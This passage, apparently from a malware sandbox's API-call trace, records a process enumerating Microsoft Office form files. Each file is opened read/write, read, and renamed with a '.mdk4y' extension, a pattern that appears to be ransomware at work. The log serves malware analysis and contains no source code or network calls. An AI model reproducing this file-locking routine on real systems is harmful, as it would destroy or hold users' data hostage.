nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x30d, lpOverlapped=0x0) returned 1 [0212.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828774600000) returned 1 [0212.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828774700000) returned 1 [0212.517] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg.mdk4y")) returned 1 [0212.518] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.518] AreFileApisANSI () returned 1 [0212.518] GetACP () returned 0x4e4 [0212.518] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REPORTL.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="REPORTL.ICOG", lpUsedDefaultChar=0x37dec0) returned 11 [0212.518] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828774900000) returned 1 [0212.519] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.520] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828775000000) returned 1 [0212.520] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828775000000) returned 1 [0212.520] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico.mdk4y")) returned 1 [0212.522] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.522] AreFileApisANSI () returned 1 [0212.522] GetACP () returned 0x4e4 [0212.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REPORTS.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="REPORTS.ICO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.522] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.523] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828775300000) returned 1 [0212.523] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828775400000) returned 1 [0212.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828775400000) returned 1 [0212.525] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico.mdk4y")) returned 1 [0212.525] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.525] AreFileApisANSI () returned 1 [0212.525] GetACP () returned 0x4e4 [0212.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RESEND.CFG", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RESEND.CFGO", lpUsedDefaultChar=0x37dec0) returned 10 [0212.526] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.526] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828775600000) returned 1 [0212.526] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x30b, lpOverlapped=0x0) returned 1 [0212.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828775700000) returned 1 [0212.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828775700000) returned 1 [0212.528] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg.mdk4y")) returned 1 [0212.529] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.529] AreFileApisANSI () returned 1 [0212.529] GetACP () returned 0x4e4 [0212.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RESENDL.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RESENDL.ICO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.529] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828775900000) returned 1 [0212.529] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828776700000) returned 1 [0212.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828776700000) returned 1 [0212.537] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico.mdk4y")) returned 1 [0212.538] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.538] AreFileApisANSI () returned 1 [0212.538] GetACP () returned 0x4e4 [0212.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RESENDS.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RESENDS.ICO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.538] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828776900000) returned 1 [0212.539] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828777000000) returned 1 [0212.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828777000000) returned 1 [0212.540] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico.mdk4y")) returned 1 [0212.541] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.541] AreFileApisANSI () returned 1 [0212.541] GetACP () returned 0x4e4 [0212.541] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RSSITEM.CFG", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RSSITEM.CFG", lpUsedDefaultChar=0x37dec0) returned 11 [0212.541] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.542] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828777200000) returned 1 [0212.542] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x314, lpOverlapped=0x0) returned 1 [0212.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828777300000) returned 1 [0212.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828777300000) returned 1 [0212.544] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg.mdk4y")) returned 1 [0212.545] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.545] AreFileApisANSI () returned 1 [0212.545] GetACP () returned 0x4e4 [0212.545] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RSSITEML.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RSSITEML.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.545] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828777500000) returned 1 [0212.545] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828778000000) returned 1 [0212.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828778000000) returned 1 [0212.550] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico.mdk4y")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.551] AreFileApisANSI () returned 1 [0212.551] GetACP () returned 0x4e4 [0212.551] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RSSITEMS.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="RSSITEMS.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.551] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828778200000) returned 1 [0212.552] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828778300000) returned 1 [0212.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828778300000) returned 1 [0212.553] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico.mdk4y")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.555] AreFileApisANSI () returned 1 [0212.555] GetACP () returned 0x4e4 [0212.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCDCNCLL.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCDCNCLL.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.555] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828778600000) returned 1 [0212.556] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828778700000) returned 1 [0212.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828778700000) returned 1 [0212.557] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico.mdk4y")) returned 1 [0212.558] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.558] AreFileApisANSI () returned 1 [0212.558] GetACP () returned 0x4e4 [0212.558] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCDCNCLS.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCDCNCLS.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.558] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828779200000) returned 1 [0212.562] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828779300000) returned 1 [0212.563] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828779300000) returned 1 [0212.563] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico.mdk4y")) returned 1 [0212.564] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.564] AreFileApisANSI () returned 1 [0212.564] GetACP () returned 0x4e4 [0212.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCDREQL.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCDREQL.ICOO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.564] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828779500000) returned 1 [0212.565] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.569] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828779900000) returned 1 [0212.569] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828779900000) returned 1 [0212.569] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico.mdk4y")) returned 1 [0212.570] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.570] AreFileApisANSI () returned 1 [0212.570] GetACP () returned 0x4e4 [0212.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCDREQS.ICO", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCDREQS.ICO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.570] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828780100000) returned 1 [0212.571] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828780200000) returned 1 [0212.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828780200000) returned 1 [0212.572] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico.mdk4y")) returned 1 [0212.573] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.573] AreFileApisANSI () returned 1 [0212.573] GetACP () returned 0x4e4 [0212.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCDRESNL.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCDRESNL.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.573] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.574] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828780400000) returned 1 [0212.574] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828780500000) returned 1 [0212.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828780500000) returned 1 [0212.575] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico.mdk4y")) returned 1 [0212.576] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.576] AreFileApisANSI () returned 1 [0212.576] GetACP () returned 0x4e4 [0212.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCDRESNS.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SCDRESNS.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.576] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828780700000) returned 1 [0212.577] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828780800000) returned 1 [0212.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828780900000) returned 1 [0212.579] MoveFileA (lpExistingFileName="C:\\Program 